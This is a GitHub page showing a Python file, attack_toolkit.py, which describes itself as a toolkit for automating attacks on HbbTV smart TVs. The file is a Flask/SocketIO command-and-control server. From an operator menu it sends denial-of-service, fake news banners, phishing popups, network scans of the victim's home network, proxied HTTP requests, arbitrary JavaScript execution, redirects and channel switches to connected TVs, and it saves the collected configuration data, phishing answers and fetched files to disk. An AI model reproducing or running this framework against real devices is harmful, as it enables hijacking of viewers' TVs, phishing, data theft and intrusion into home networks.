-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattack_toolkit.py
More file actions
357 lines (317 loc) · 12.9 KB
/
attack_toolkit.py
File metadata and controls
357 lines (317 loc) · 12.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
import threading
import sys
import argparse
import logging
import colorlog
import json
import datetime
import mimetypes
import base64
from flask import Flask, send_from_directory, request
from flask_socketio import SocketIO, send, emit
from pathlib import Path
import prompt
from ClientManager import ClientManager
from request_data import request_config, request_appMgr, request_appObject
from dos import start_dos
from fakenews import show_fake_banner, destroy_fake_banner
from channel_switch import channel_switch_next, channel_switch_prev
from phishing import send_phishing_popup
from net_scan import start_netscan
from http_request import http_request_from_client_selection, http_request_from_url
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
ch = colorlog.StreamHandler()
formatter = colorlog.ColoredFormatter('%(levelname)s - %(message)s')
ch.setFormatter(formatter)
ch.setLevel(logging.DEBUG)
logger.addHandler(ch)
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
app = Flask(__name__)
socketio = SocketIO(app)
flask_thread = None
running_bool = True
query_id = 0
client_manager = ClientManager(logger)
# Custom static file route
@app.route('/hbbtv/<path:filename>')
def custom_static(filename):
logger.debug(f'New request coming from {request.remote_addr} for hbbtv/{filename}')
response = send_from_directory('hbbtv', filename)
# Add custom headers
if filename.endswith('.html'):
response.headers['Content-Type'] = 'application/vnd.hbbtv.xhtml+xml'
response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
response.headers['Pragma'] = 'no-cache'
response.headers['Expires'] = '0'
response.headers['Access-Control-Allow-Origin'] = '*'
return response
@socketio.on('connect')
def handle_connect():
sid = request.sid
ip = request.remote_addr
info = json.loads(request.args.get('info', ''))
client_manager.add_client(sid, ip, info)
@socketio.on('disconnect')
def handle_disconnect():
sid = request.sid
client_manager.remove_client(sid)
@socketio.on('response')
def handle_response(data):
logger.info(f'Received response from {request.sid} to query id: {data.get('qId', 'Undefined')}\nResponse: {data.get('response', 'Undefined')}')
@socketio.on('config-response')
def handle_config_response(data):
filename = f'config/config-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}.json'
logger.info(f'Received config response from {request.sid}. Writing result to {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "w") as f:
json.dump(data, f)
@socketio.on('appObject-response')
def handle_appObject_response(data):
filename = f'appObject/appObject-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}.json'
logger.info(f'Received config response from {request.sid}. Writing result to {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "w") as f:
json.dump(data, f)
@socketio.on('appMgr-response')
def handle_appMgr_response(data):
filename = f'appMgr/appMgr-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}.json'
logger.info(f'Received config response from {request.sid}. Writing result to {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "w") as f:
json.dump(data, f)
@socketio.on('phishing-response')
def handle_phishing_response(data):
filename = f'phishing/phishing-{datetime.datetime.now():%Y-%m-%d}.json'
logger.info(f'Received phishing response from {request.sid}. Appending to {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "a+") as f:
d = {'sid': request.sid, "input": data.get("input", None), "question": data.get('question', None)}
json.dump(d, f)
f.write('\n')
@socketio.on('netscan-response')
def handle_netscan_response(data):
filename = f'netscan/netscan-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}.json'
logger.info(f'Received netscan response from {request.sid}. Writing result to {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
# Add netscan result to client
client = client_manager.get_client_by_sid(request.sid)
if client == None:
logger.error("Received netscan-data from unknown client")
return
client.scan = data.get("scan", None)
with open(output_f, "w") as f:
json.dump(data, f)
@socketio.on('netscan-logger')
def handle_netscan_logger(data):
filename = f'netscan/logs/netscan-log-{request.sid}-{datetime.datetime.now():%Y-%m-%d}.log'
logger.debug(f'{request.sid} - {data.get('message', None)}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "a+") as f:
f.write(f'{data.get('message', None)}\n')
@socketio.on('request-success')
def handle_request_success(data):
res = data.get('response', None)
if res == None:
logger.error(f'{request.sid} - {data.get('method', None)} request from {data.get('url', None)} failed because response is empty!')
return
fileb64 = res.get('file', None)
headers = res.get('headers', None)
if fileb64 == None:
logger.error(f'{request.sid} - {data.get('method', None)} request from {data.get('url', None)} failed because file is empty!')
return
if headers == None:
logger.error(f'{request.sid} - {data.get('method', None)} request from {data.get('url', None)} failed headers are empty!')
return
file_mimetype = headers.get("content-type").split(';')[0].strip()
file_ext = mimetypes.guess_extension(file_mimetype)
if file_ext == None:
file_ext = '.bin'
filename = f'requests/success/file-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}{file_ext}'
logger.info(f'{request.sid} - {data.get('method')} request from {data.get('url')} was successful! Saving under {filename}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "wb") as f:
f.write(base64.decodebytes(fileb64.encode()))
@socketio.on('request-failed')
def handle_request_failed(data):
filename = f'requests/fail/request-fail-{request.sid}-{datetime.datetime.now():%Y-%m-%d_%H:%M:%S}.json'
logger.error(f'{request.sid} - {data.get('method', None)} request from {data.get('url', None)} failed with error {data.get('error', None)}')
output_f = Path(filename)
output_f.parent.mkdir(exist_ok=True, parents=True)
with open(output_f, "w") as f:
json.dump(data, f)
def show_main_menu():
main_menu_dict = {
"Show client info": info_menu,
"Request client configuration": request_config_menu,
"Request client appObject": request_appObject_menu,
"Request client appMgr": request_appMgr_menu,
"Start DoS": dos_menu,
"Fake Banner": fakenews_menu,
"Switch Channel": switch_channel_menu,
"Start Phishing": phishing_menu,
"Start Network Scan": network_scan_menu,
"Send HTTP Request": http_request_menu,
"JS eval": js_eval_menu,
"Redirect to URL": redirect_menu,
"Reload Target": reload_menu,
"Shutdown": shutdown,
}
global running_bool
while running_bool:
prompt.dict_menu(main_menu_dict)
#break
def do_client_selection(clients):
if len(clients) == 0:
print('No clients connected!')
print('Returning back...')
return -1
client_options = [f'{i+1}. {c.sid} - {c.ip}' for i, c in enumerate(clients)]
client_options.append('Back')
sel = prompt.menu_index(client_options)
if sel == len(clients):
print('Returning back')
return -1
return sel
def js_eval_menu():
print("\033[31mWarning!\033[0m This is a dangerous function executing javascript directly on target!")
print("\033[31mYou can lose access to the target!\033[0m")
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
js_eval(clients[sel])
def js_eval(client):
global query_id
query_id += 1
with app.app_context():
code = input("Code to eval on target: ")
socketio.emit('js-eval', {'code': code, 'qId': query_id}, to=client.sid)
logger.info(f'Sent following code: {code} to client with sid: {client.sid}. Query ID: {query_id}')
def info_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
print(f'Client No. {sel+1}')
print(f'SID: {client.sid}')
print(f'IP: {client.ip}')
print(f'Browser Info: {json.dumps(client.info, indent=4, sort_keys=True)}')
print(f'Network Info: {json.dumps(client.scan, indent=4, sort_keys=True)}')
def request_config_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
request_config(socketio, client.sid, logger)
def request_appObject_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
request_appObject(socketio, client.sid, logger)
def request_appMgr_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
request_appMgr(socketio, client.sid, logger)
def dos_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
start_dos(client.sid, socketio, logger)
def fakenews_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
fakenews_menu_dict = {
"Show banner": (lambda: show_fake_banner(client.sid, socketio, logger)),
"Destroy banner": (lambda: destroy_fake_banner(client.sid, socketio, logger))
}
prompt.dict_menu(fakenews_menu_dict)
def phishing_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
send_phishing_popup(client.sid, socketio, logger)
def network_scan_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
start_netscan(client.sid, socketio, logger)
def http_request_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
options = {
"Request from devices on the client's network": (lambda: http_request_from_client_selection(client, socketio, logger)),
"Request from URL": (lambda: http_request_from_url(client, socketio, logger))
}
prompt.dict_menu(options)
def switch_channel_menu():
print("\033[31mWarning!\033[0m This is a dangerous function changing channel directly on target!")
print("\033[31mYou can lose access to the target!\033[0m")
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
switch_channel_menu_dict = {
"Next Channel": (lambda: channel_switch_next(client.sid, socketio, logger)),
"Previous Channel": (lambda: channel_switch_prev(client.sid, socketio, logger)),
}
prompt.dict_menu(switch_channel_menu_dict)
def redirect_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
url = input("URL to redirect to: ")
socketio.emit('redirect', {'url': url}, to=client.sid)
def reload_menu():
clients = client_manager.get_all_clients()
sel = do_client_selection(clients)
if sel == -1:
return
client = clients[sel]
socketio.emit('reload', to=client.sid)
def shutdown():
global running_bool
running_bool = False
logger.info("Shutting down!")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="A Toolkit helping automatize attacks on HbbTV supported Smart TVs.")
parser.add_argument('-ip', type=str, required=False, help="The IP address to bind the server to. (default 0.0.0.0)", default="0.0.0.0")
parser.add_argument('-p', type=int, required=False, help="The port number to bind the server to. (default 5000)", default=5000)
args = parser.parse_args()
logger.info("Starting the toolkit...")
flask_thread = threading.Thread(target=lambda: app.run(host=args.ip, port=args.p, debug=False, use_reloader=False), daemon=True)
flask_thread.start()
logger.info(f"Server started at {args.ip}:{args.p}.")
show_main_menu()